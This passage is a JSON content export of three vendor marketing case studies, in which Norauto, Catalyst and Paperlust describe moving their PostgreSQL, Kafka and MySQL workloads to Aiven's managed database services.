tools."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"a08431a91f6c","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"821a5f72f3ff","_ref":"7wPAfaA2oSBoppODN0ZTvH","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"3c098756458d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"2846fb2a8063","_type":"block","children":[{"_key":"062298c3b03b0","_type":"span","marks":[],"text":"Norauto needed an open source data infrastructure that would work with all major clouds but wouldn't take too much time away from product development efforts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"135479b7a148","_type":"block","children":[{"_key":"92f55dfa83920","_type":"span","marks":[],"text":"Aiven's package provided all that, plus cost transparency, a high uptime guarantee and good support that were critical for Norauto's business."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dae700bd2782","_type":"block","children":[{"_key":"3e2573c9b0300","_type":"span","marks":[],"text":"Developers' turnaround times have accelerated with the click-and-create data infra."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"a09f7ca377c5","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"26c0ed48a059","_type":"block","children":[{"_key":"baaed6a63d530","_type":"span","marks":[],"text":"Norauto has a global mandate to use open source tools as much as possible. The reasons are many, with lower total-cost-of-ownership and no vendor lock-in as some examples."}],"markDefs":[],"style":"normal"},{"_key":"beea54f66293","_type":"block","children":[{"_key":"34594c2b914d0","_type":"span","marks":[],"text":"Despite their usefulness, Norauto’s IT Operations Leader Vincent Leriche found open source tools to come with their own challenges."}],"markDefs":[],"style":"normal"},{"_key":"2ba984f2e6b3","_type":"block","children":[{"_key":"5bc0438b70b50","_type":"span","marks":[],"text":"“We really prefer to work with open source databases, but we were getting slowed down with deployment and scaling. There’s also the other usual considerations about DB’s, like security and maintenance, which can take a lot of time on their own”, Leriche says."}],"markDefs":[],"style":"normal"},{"_key":"843d8ee59bc8","_type":"block","children":[{"_key":"7b798ef20d460","_type":"span","marks":[],"text":"The most important part of Leriche’ teams’ job is to outfit Norauto’s developers with the tools and processes they need to build apps effectively. This type of a DevOps approach is critical for success, as it leads to faster go-to-market times and quicker iterations in their digital services for customers."}],"markDefs":[],"style":"normal"},{"_key":"ea136a2c3f31","_type":"block","children":[{"_key":"6f83b856fc830","_type":"span","marks":[],"text":"Things were working, but not well enough. Developers were spending too much time on maintaining the data infrastructure behind apps, instead of working on their core tasks."}],"markDefs":[],"style":"normal"},{"_key":"910459dbeafa","_type":"block","children":[{"_key":"7bdf16e40ddc0","_type":"span","marks":[],"text":"“We definitely don’t want database management to be a bottleneck. We want our developers to focus on bringing value to the business”, Vincent Leriche explains."}],"markDefs":[],"style":"normal"},{"_key":"842571e593cd","_type":"block","children":[{"_key":"b6e280c134a20","_type":"span","marks":[],"text":"It was time to look for a service provider to solve these problems. In addition to being simple, fast and reliable, Vincent Leriche and the team also wanted the tool to work seamlessly with all major public cloud providers."}],"markDefs":[],"style":"normal"},{"_key":"3c0527df5dd6","_type":"block","children":[{"_key":"93a7777e0d9f0","_type":"span","marks":[],"text":"“We are fully cloud-based now, so it was important that the service would give us easy access to all public clouds like GCP and Azure.”"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"1ced81238d59","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ebca6459d441","_ref":"6AzLl6zzzhRS6mRt1l2Z50","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"5c06896d1ba2","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"d84083fdafdf","_type":"block","children":[{"_key":"042464b62eb90","_type":"span","marks":[],"text":"Norauto did extensive research on different managed database services. After careful consideration, they turned to Aiven."}],"markDefs":[],"style":"normal"},{"_key":"47ce840f476f","_type":"block","children":[{"_key":"23dfceef1f070","_type":"span","marks":[],"text":"“We really liked the package that Aiven offered”, Leriche says. “A high uptime guarantee and good support are critical for our business. Aiven’s pricing also helps us forecast costs, as things like network and storage expenses are included.”"}],"markDefs":[],"style":"normal"},{"_key":"c126dfc9dd7c","_type":"block","children":[{"_key":"35cd2a2767870","_type":"span","marks":[],"text":"Norauto takes advantage of a variety of solutions from the Aiven ecosystem: Kafka, PostgreSQL, MySQL, OpenSearch and Redis."}],"markDefs":[],"style":"normal"},{"_key":"d56b95817528","_type":"block","children":[{"_key":"7a7a8362fb980","_type":"span","marks":[],"text":"PostgreSQL is a principal solution, as it’s used by a lot of applications - including those in Norauto’s stores. They also use Kafka to synchronize data between the stores to enable smooth, real-time operations."}],"markDefs":[],"style":"normal"},{"_key":"ce3a61a9a07a","_type":"block","children":[{"_key":"2247099bc1230","_type":"span","marks":[],"text":"Overall, Norauto has found that they can support all of their applications with the services in the Aiven portfolio."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"fa9b24113e2b","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f5578794128b","_type":"block","children":[{"_key":"0e67148140340","_type":"span","marks":[],"text":"“Most noticeably, Aiven has made everything we do with databases a lot easier. Even a totally new employee can build a PostgreSQL database in less than an hour, with a really short intro from our DevOps team”, Leriche says."}],"markDefs":[],"style":"normal"},{"_key":"2a13e92088b0","_type":"block","children":[{"_key":"cc0fce32dacb0","_type":"span","marks":[],"text":"This has accelerated developers’ turnaround times - and made them a lot happier."}],"markDefs":[],"style":"normal"},{"_key":"7fb01cb341b3","_type":"block","children":[{"_key":"f3ec0c1835ac0","_type":"span","marks":[],"text":"“When our developers start a project, they can do everything themselves. It’s click and create”, Leriche says. “The only thing we have to do ourselves is make sure to have documentation for naming conventions and things like that.”"}],"markDefs":[],"style":"normal"},{"_key":"05455cff54fd","_type":"block","children":[{"_key":"fe374bf3d6330","_type":"span","marks":[],"text":"Developers have also found the Aiven-launched services to run really well."}],"markDefs":[],"style":"normal"},{"_key":"1e6c85260d37","_type":"block","children":[{"_key":"f1e2ce7c94b10","_type":"span","marks":[],"text":"“It’s useful to have access to reliable data infra, without our team having to be PostgreSQL experts”, Leriche explains."}],"markDefs":[],"style":"normal"},{"_key":"3e706eab5d2d","_type":"block","children":[{"_key":"b56ce4dc9bee0","_type":"span","marks":[],"text":"Aiven commits to 99.99% uptime, but the figure is not calculated based on simple availability checks. Instead the platform automatically detects and heals a large number of issues before they can cause services to fail. If this isn’t enough, an on-call ops team member is alerted to investigate and resolve problems."}],"markDefs":[],"style":"normal"},{"_key":"fc62d07623b0","_type":"block","children":[{"_key":"87a0117242510","_type":"span","marks":[],"text":"“After starting with Aiven and hosting everything in the cloud, we have basically no downtime. This saves me from a lot of headaches”, Leriche says."}],"markDefs":[],"style":"normal"},{"_key":"0c55637172f7","_type":"block","children":[{"_key":"fd0458e518c50","_type":"span","marks":[],"text":"More than anything, Aiven has drastically simplified DevOps - both for Vincent Leriche’s team and the developers. The people building apps have access to ready-made data infra, while the business can tackle important topics like maintenance and security at one fell swoop. Everything is essentially handled by Aiven."}],"markDefs":[],"style":"normal"},{"_key":"68f78d6dcc95","_type":"block","children":[{"_key":"e7fa3a4be7610","_type":"span","marks":[],"text":"“The whole team is fully on board with Aiven”, Leriche says. “It would be hard to go back to doing everything ourselves.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"8f1a2100d7c6","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"a3eb0b44feb4","_ref":"40doVSoAhEjkvavkYKUc0d","_type":"reference"}],"rounded":false,"variant":"media"}],"downloadLink":"https://go.aiven.io/aiven-cs-norauto-en","heroSubtitle":"Norauto runs their range of online automobile services, from repair booking to parts retail, on Apache Kafka and PostgreSQL, among others.","heroTitle":"Norauto’s developers spin up databases faster than ever with Aiven","hostProviders":[{"_key":"aebef773cf56","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-745bf061fed7bfb88d195d809f4a5cf541c88a22-1812x978-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2021-10-08T11:00:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Retail company Norauto can now scale up faster than ever. Find out how Aiven helped them!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7761c7c09fa62c8ce7d36925958dbc2c91aa0108-1200x630-jpg","_type":"reference"}},"metaTitle":"Norauto’s developers spin up databases faster with Aiven"},"services":[{"_key":"93f66f4907a6","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"875ec76ba8ef","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"02674e5ecd40","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"627cd70c6271","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"3d0f7d5a5e00","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven"},"title":"Norauto"} {"__i18n_lang":"en","_createdAt":"2022-09-16T13:28:36Z","_id":"18f97d4c-90ef-4467-b983-dbb0fa4b2ab8","_rev":"DEr13LRm8S6bXdr2Y1JJUc","_type":"caseStudy","_updatedAt":"2023-06-20T08:07:17Z","additionalResources":{"items":[{"_key":"a86b885407fb","_ref":"5mphVpZ9KwsYIklKpnPm1Q","_type":"reference"},{"_key":"e18e3839bfa3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql.html","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"f893356caf9e","_type":"block","children":[{"_key":"3f31bc37649d0","_type":"span","marks":[],"text":"Getting started with Aiven for PostgreSQL, core concepts, how-to's and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Aiven for PostgreSQL developer documentation","variant":"default"},{"_key":"c518508e161c","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}],"subtitle":[{"_key":"c2c301b6c66c","_type":"block","children":[{"_key":"4d9acddb332e0","_type":"span","marks":[],"text":"Check out these related resrouces in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"2620044b-8e56-465a-8884-c8c316df6cc2","_type":"reference"},"content":[{"_key":"129fb3478f61","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"efc672c5117e","_type":"block","children":[{"_key":"8ccfb8ed6a810","_type":"span","marks":[],"text":"Catalyst, a NYC-based customer success company, were looking for a flexible solution to store customer data. They found a great fit with Aiven and discovered unexpected benefits."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"a0b23f43030b","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e943b1819efd","_type":"block","children":[{"_key":"e3617233a30d0","_type":"span","marks":[],"text":"PITR and change data capture implemented"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1aa11c16d4a9","_type":"block","children":[{"_key":"ef90ffada4860","_type":"span","marks":[],"text":"Scalability requirement easily met"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"507aa54ecc27","_type":"block","children":[{"_key":"58a77fe7904e0","_type":"span","marks":[],"text":"Hosted and managed but flexible"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a26a5bf8bc83","_type":"block","children":[{"_key":"d6d13aa031970","_type":"span","marks":[],"text":"Great support, even for customizations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"845cd070e85b","_type":"block","children":[{"_key":"bb89e7d64c2c0","_type":"span","marks":[],"text":"Good UX that empowers developers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9bbb309df944","_type":"block","children":[{"_key":"5c350077153b0","_type":"span","marks":[],"text":"SOC2 compatible out of the box"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"f6a5eda4cd82","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"ad16ce27b66e","_type":"block","children":[{"_key":"35b8deb656110","_type":"span","marks":[],"text":"Catalyst aims to give customer success managers the tools they need to successfully manage their customer relationships. Catalyst’s customer success platform provides quick access to all relevant customer information that customer managers can use in their decision-making. The Catalyst platform aggregates data from various sources (such as Snowflake, Zendesk or JIRA) and displays it in a centralized, logical way."}],"markDefs":[],"style":"normal"},{"_key":"3b0edc91a99b","_type":"block","children":[{"_key":"96702f32642b0","_type":"span","marks":[],"text":"“Today, we use Aiven for PostgreSQL® as our main transactions database,” says Kim Leung, Engineering Manager at Catalyst. “It’s our main source of truth, our bread and butter.” Their setup is future-proof and developer-friendly, and they’ve worked hard to reach that point."}],"markDefs":[],"style":"normal"},{"_key":"74e65bad0cbb","_type":"block","children":[{"_key":"883d69372beb0","_type":"span","marks":[],"text":"When Catalyst was founded in 2017, they went cloud-first from the start. They selected tools that were easy for the small number of founders and employees to use. At that point their choice of database landed on Cloud SQL."}],"markDefs":[],"style":"normal"},{"_key":"453f4206ce99","_type":"block","children":[{"_key":"00cf4385b9780","_type":"span","marks":[],"text":"This worked well for a time. They went through the early stages of building a product and started running their service, but eventually began to feel limited. As it then stood, Cloud SQL wasn’t able to support all their requirements."}],"markDefs":[],"style":"normal"},{"_key":"f7c178f69731","_type":"block","children":[{"_key":"c9d73dd989160","_type":"span","marks":[],"text":"For example, the disaster recovery options were lacking point-in-time recovery. This could be offset with a multi-cloud approach, but going multi-cloud could introduce performance issues. It would also make their SOC2 certification more challenging, because then they would have to provide proof of secure communication between clouds."}],"markDefs":[],"style":"normal"},{"_key":"0921e419495e","_type":"block","children":[{"_key":"d8e1a01599940","_type":"span","marks":[],"text":"Additionally, at that time change data capture wasn’t supported by Cloud SQL. “We couldn’t take advantage of the write-ahead logs from Cloud SQL to do some of the things we wanted to do,” Kim says. “We wanted to start preparing for the future, but they were missing the functionality we needed.” Catalyst already knew that their future would likely include an event-based system with Apache Kafka in the crossing of the pipelines."}],"markDefs":[],"style":"normal"},{"_key":"2add88bfa570","_type":"block","children":[{"_key":"a99b75e45cf00","_type":"span","marks":[],"text":"So what they were looking for was a single provider who could host a large database now as well as be the future-proof solution for the upcoming modernisation and expansion. They had already identified PostgreSQL as a solution that was both robust and familiar to their team. Now they just had to find that provider"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"6805094a0269","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"21e4db1856e4","_ref":"13tXxl7dkCVGuvop68w3uV","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"7ca470cfb352","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"655020dafd01","_type":"block","children":[{"_key":"9a5d7fa5776f0","_type":"span","marks":[],"text":"Fortunately Catalyst’s internet search turned up Aiven, and the more they investigated, the more they liked what they saw."}],"markDefs":[],"style":"normal"},{"_key":"f2cdc9bbf39d","_type":"block","children":[{"_key":"5196b3b4d15e0","_type":"span","marks":[],"text":"From the first contact, they felt well-received and heard. Aiven’s support was interested and engaged, and provided the assurance that Catalyst needed to trust a service provider without their own proprietary network."}],"markDefs":[],"style":"normal"},{"_key":"244896bebfcd","_type":"block","children":[{"_key":"43b3fbccc0050","_type":"span","marks":[],"text":"The process of migrating into Aiven for PostgreSQL had Catalyst a little worried. But with Aiven’s preparation tips and concrete support during migration, everything went well and the process was faster than anticipated."}],"markDefs":[],"style":"normal"},{"_key":"f907c3cd2ff0","_type":"block","children":[{"_key":"72187cae60790","_type":"span","marks":[],"text":"Soon the pipeline was running smoothly, aided by Catalyst’s wise decision to increase capacity at least to begin with compared to their old database."}],"markDefs":[],"style":"normal"},{"_key":"f61e8f1f336c","_type":"block","children":[{"_key":"97730e540cd20","_type":"span","marks":[],"text":"Aiven for PostgreSQL in the mix"}],"markDefs":[],"style":"h3"},{"_key":"338ad6da06fd","_type":"block","children":[{"_key":"22c1bb1dab1f0","_type":"span","marks":[],"text":"Today, Aiven for PostgreSQL acts as Catalyst’s main transactions database. It stores the data from hundreds of customers and their various data sources and makes it available for aggregation elsewhere in the pipeline."}],"markDefs":[],"style":"normal"},{"_key":"ad0964b2d808","_type":"block","children":[{"_key":"7667ba438bf80","_type":"span","marks":[],"text":"After PostgreSQL was all set up, Catalyst started tweaking their monitoring integration. They use Datadog as their monitoring solution, and found that piping data from Aiven for PostgreSQL was effortless thanks to the existing integration Aiven provides"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"2cfa127303a3","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"c868a6fb3693","_type":"block","children":[{"_key":"c9bb9f019e640","_type":"span","marks":[],"text":"With Aiven, Catalyst has seen a significant performance increase, and has been able to continue serving their customers without a glitch. Some of this is, of course, due to the increase in capacity, which Catalyst don’t hesitate to utilise: they know they can scale back at any time. With Aiven, capacity is easy and quick to adjust to match demand."}],"markDefs":[],"style":"normal"},{"_key":"9c15a54dc88c","_type":"block","children":[{"_key":"d237e49f77f00","_type":"span","marks":[],"text":"The flexibility for experimentation that was crucial for Catalyst has already yielded fruit. “There’s a tool called PGanalyze,” says Kim, “that you can add to your database to get better analytics. I’d tried to add it to Cloud SQL, but the system wouldn’t let me. With Aiven, I ran into the same permission restrictions, but the difference was in the approach that support took when I contacted them.”"}],"markDefs":[],"style":"normal"},{"_key":"ef7ce0277517","_type":"block","children":[{"_key":"18296673ad4a0","_type":"span","marks":[],"text":"At Aiven, the support staff tried their best to help, and when they couldn’t find a way they escalated the issue until a workaround was found."}],"markDefs":[],"style":"normal"},{"_key":"3426ef26a5d7","_type":"block","children":[{"_key":"58c5517bd40e0","_type":"span","marks":[],"text":"“It wasn’t a 100% solution, but it was still PGanalyze running on Aiven and I was able to evaluate it. And we got there together with Aiven, instead of me digging through documentation and guessing.”"}],"markDefs":[],"style":"normal"},{"_key":"04a3d67012d3","_type":"block","children":[{"_key":"481975fe67220","_type":"span","marks":[],"text":"This experience highlights something that Kim deeply appreciates. “Catalyst is a customer success platform, so of course customer success is really important to us. I think Aiven really embodies customer success,” he says."}],"markDefs":[],"style":"normal"},{"_key":"6cad0956f946","_type":"block","children":[{"_key":"e7e2307b30660","_type":"span","marks":[],"text":"The unexpected benefit"}],"markDefs":[],"style":"h3"},{"_key":"b5a4f3e8a122","_type":"block","children":[{"_key":"ca2c4cd353a80","_type":"span","marks":[],"text":"One benefit that Catalyst had not been able to anticipate was the impact of Aiven’s easy usability. “The Aiven Console is just quite beautiful,” Kim says. “And I think it makes Aiven’s services approachable. Even application engineers who don’t deal with cloud providers often are confident in using it. They feel empowered to move a little bit faster and to do things themselves. And as a result, they’re more engaged and interested in their work.”"}],"markDefs":[],"style":"normal"},{"_key":"9820132d3ea0","_type":"block","children":[{"_key":"90d4e88cbd9e0","_type":"span","marks":[],"text":"Future directions"}],"markDefs":[],"style":"h3"},{"_key":"dd7aed2fcfc0","_type":"block","children":[{"_key":"33f7f24ddfcf0","_type":"span","marks":[],"text":"For the future, Catalyst investigates moving to Kafka in order to evolve their data ingestion pipeline. At higher loads, Kafka looks to them like a good option to keep data streaming between different systems. It’s also easy to extend and adapt in a changing business environment."}],"markDefs":[],"style":"normal"},{"_key":"d70cbda73e4a","_type":"block","children":[{"_key":"8ea90716eec50","_type":"span","marks":[],"text":"Aiven steps up as an active and supportive partner for them on their path."}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"}],"contentIsGated":false,"heroSubtitle":"Catalyst uses PostgreSQL to store customer data to enable customer success managers to leverage all their data to maintain their customer relationships.","heroTitle":"A customer success story - Catalyst \u0026 Aiven","hostProviders":[{"_key":"f611ecb79821","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-10-27T11:01:00.000Z","region":"AMER","seo":{"_type":"metaData","metaDescription":"Catalyst, a NYC-based customer success company, were looking for a flexible solution to store customer data. They found a great fit with Aiven and discovered unexpected benefits.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-05841ba2260461aea04fde2c740de86bdc8f55dd-1200x630-jpg","_type":"reference"}},"metaTitle":"Catalyst uses Aiven for PostgreSQL® as their transactions DB"},"services":[{"_key":"2748e5366466","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/a-customer-success-story"},"title":"Catalyst"} {"__i18n_lang":"en","_createdAt":"2022-11-16T11:40:50Z","_id":"2c8b3b77-a2f7-4fb4-a4e2-7fa0ca05dc9d","_rev":"c9TjXEWyWBArEQcMlfqd68","_type":"caseStudy","_updatedAt":"2023-06-20T08:10:09Z","additionalResources":{"items":[{"_key":"00179a7c9154","_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},{"_key":"8fa225a313bb","_ref":"Ly347MEMMfb0RG0hpKNiv","_type":"reference"},{"_key":"e9430a6fdda5","_ref":"2C52NmC1EuMExPXg9XNCtD","_type":"reference"}],"title":"You might also like"},"company":{"_ref":"9e549fad-31c5-4435-a8da-ecbf2f628388","_type":"reference"},"content":[{"_key":"87ca81f4adff","_type":"textColumn","columnOne":[{"_key":"e937fad70664","_type":"block","children":[{"_key":"f6298abf6509","_type":"span","marks":[],"text":"Australian online shop faced scalability and performance issues and had a small team."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be96da712de4","_type":"block","children":[{"_key":"2cafecde6ff1","_type":"span","marks":[],"text":"With Aiven for MySQL, performance issues were conquered and scalability is easy."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e53474d77da","_type":"block","children":[{"_key":"93eee1854ac9","_type":"span","marks":[],"text":"No more management overhead, not even downtime.\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"Highlights","variant":"oneColumn"},{"_key":"98135906cbb1","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"0e5d9e3c5687","_type":"block","children":[{"_key":"f64fc77026e80","_type":"span","marks":["038359777d2c"],"text":"Paperlust"},{"_key":"dc9ca084d8b1","_type":"span","marks":[],"text":" was established in 2014 in Melbourne, Australia, to encourage regional artists and offer personalized paper products to customers who appreciate beautiful design.\n\nPaperlust exists because the founders recognized a gap in the market.\n\n“We grew weary of watching talented designers waste time pursuing clients as potential customers waded through countless websites, searching for excellent design goods,” says Alex Boston, Co-Founder of Paperlust. “Talent was present. There was a demand. It was just necessary to build a platform that made it simple for the two to interact.”\n\nPaperlust adds new designs for sale daily to their continually-growing product selection, and their community is flourishing. Paperlust is a part of people’s lives throughout Australia and the world as they invite party guests, send thank you notes, decorate spaces, announce births and celebrate anniversaries with Paperlust products."}],"markDefs":[{"_key":"038359777d2c","_type":"link","href":"https://paperlust.co/"}],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0cc329858d10","_type":"block","children":[{"_key":"dfb308f41a970","_type":"span","marks":[],"text":"At first, Paperlust configured their web shop on a single server that hosted both the applications and the databases. They soon outgrew this solution, though, as their user base expanded. Customers began to experience significant lag when using the site, leading to a poor customer experience. To alleviate performance issues, Paperlust decided to separate the applications and databases and moved their databases into a managed relational databases service.\n\nThis migration did not have the desired effect, and they had to move their database multiple times in efforts to conquer their performance problems. Each time this happened, they had to turn off the server and configure a new endpoint. This led to even more delays.\n\nWaiting for an online shop for paper products to respond seems like a small thing, but it has big consequences for the company in question. Firstly, performance issues gradually reduce their site’s availability, leading to revenue loss and decline in customer trust.\n\nMoreover, it’s wasting time internally. Development work grinds to a halt as the team waits for the server to run again. And this isn’t even taking into account the frustration it causes!\n\nPaperlust were aware that they could tackle this issue by taking closer care of the database and adding some components. “But we thought it would add complexity to our stacks,” says Alex. “We didn’t really have a team to manage the infrastructure on a daily basis."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"60206c8afcdf","_type":"textColumn","columnOne":[{"_key":"18316a457df1","_type":"block","children":[{"_key":"8ea4dcbc7f980","_type":"span","marks":[],"text":"With Aiven, Paperlust has found the perfect partner to take care of their databases, while they continue to connect consumers with designers and artists with audiences. They were able to continue with MySQL®, which had been their initial choice as a simple database that the team could understand.\n\n“From a technical perspective, Aiven allows us to use the same database endpoint regardless of any region changes or instance type changes,” says Alex. This makes the system flexible and extendable."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The solution","variant":"oneColumn"},{"_key":"56e0cbe4f797","_type":"textColumn","columnOne":[{"_key":"964bed8a9d8c","_type":"block","children":[{"_key":"895d811f03fb0","_type":"span","marks":[],"text":"With Aiven, Paperlust no longer has any performance worries. “It also minimizes our downtime due to region changes or instance-type changes,” Alex notes. “It gives us flexibility to change the database configuration as needed without worrying about downtime. Besides, we no longer have to call the dev team to simply change the endpoint.”\n\nThe development team is happy too, since it spares the team from infrastructure maintenance on a daily basis.\n\n“We can use that time to improve other aspects of our application,” says Alex. “We’re saving considerably in terms of cost and time that would be needed for infrastructure management, while also getting other benefits from Aiven. One benefit that we especially like about Aiven is the zero downtime during management operations. We will take advantage of it as we grow by moving the region or instance type scaling.”\n\nFor the end users, Paperlust’s page loads much faster now, and customers can browse and purchase the designs more easily. And things that make the customers happy also benefit the company’s bottom line.\n\n“I would absolutely recommend Aiven for any company that wants to make the scalability of its infrastructure much more effortless,” says Alex."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The outcome","variant":"oneColumn"}],"contentIsGated":false,"gatedContent":[{"_key":"f97107baf492","_type":"textColumn","columnOne":[{"_key":"33aa4367e467","_type":"block","children":[{"_key":"b5ab36ed1498","_type":"span","marks":[],"text":"Paperlust was established in 2014 in Melbourne, Australia, to encourage regional artists and offer personalized paper products to customers who appreciate beautiful design. "}],"markDefs":[],"style":"normal"},{"_key":"6cb2e8939732","_type":"block","children":[{"_key":"cee98750b92e","_type":"span","marks":[],"text":"Paperlust exists because the founders recognized a gap in the market. "}],"markDefs":[],"style":"normal"},{"_key":"5dd6f7226d4e","_type":"block","children":[{"_key":"27afb880d590","_type":"span","marks":[],"text":"“We grew weary of watching talented designers waste time pursuing clients as potential customers waded through countless websites, searching for excellent design goods,” says Alex Boston, Co-Founder of Paperlust. “Talent was present. There was a demand. It was just necessary to build a platform that made it simple for the two to interact.” "}],"markDefs":[],"style":"normal"},{"_key":"2b52a5765968","_type":"block","children":[{"_key":"f9ab42411f34","_type":"span","marks":[],"text":"Paperlust adds new designs for sale daily to their continually-growing product selection, and their community is flourishing. Paperlust is a part of people’s lives throughout Australia and the world as they invite party guests, send thank you notes, decorate spaces, announce births and celebrate anniversaries with Paperlust products."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"31bab4f3da07","_type":"block","children":[{"_key":"9baa47da644a0","_type":"span","marks":["strong","5b35b961b97f"],"text":"Paperlust"},{"_key":"0331fab72fc1","_type":"span","marks":["strong"],"text":" is a Melbourne-based company offering personalized paper products designed by Australian artists. They’ve been very successful in connecting talented designers to a global customer base through their online shop, and after facing scalability and stability issues they turned to Aiven."}],"markDefs":[{"_key":"5b35b961b97f","_type":"link","href":"https://paperlust.co/"}],"style":"normal"}],"title":"Summary","variant":"oneColumn"},{"_key":"a29fe433e626","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"7adcd607408e","_type":"block","children":[{"_key":"1ba1ad581117","_type":"span","marks":[],"text":"Australian online shop faced scalability and performance issues and had a small team."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fbfa0eb89dc5","_type":"block","children":[{"_key":"ba7917e2aeb4","_type":"span","marks":[],"text":"With Aiven for MySQL®, performance issues were conquered and scalability is easy."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0772bfd17a9d","_type":"block","children":[{"_key":"535f93facd12","_type":"span","marks":[],"text":"No more management overhead, not even downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Highlights","variant":"oneColumn"}],"heroHasVideo":false,"heroSubtitle":"Paperlust, an Australian online retailer, turned to Aiven after facing scalability and stability issues. Read to find out how the problem was solved!","heroTitle":"Aiven for MySQL wins for Paperlust 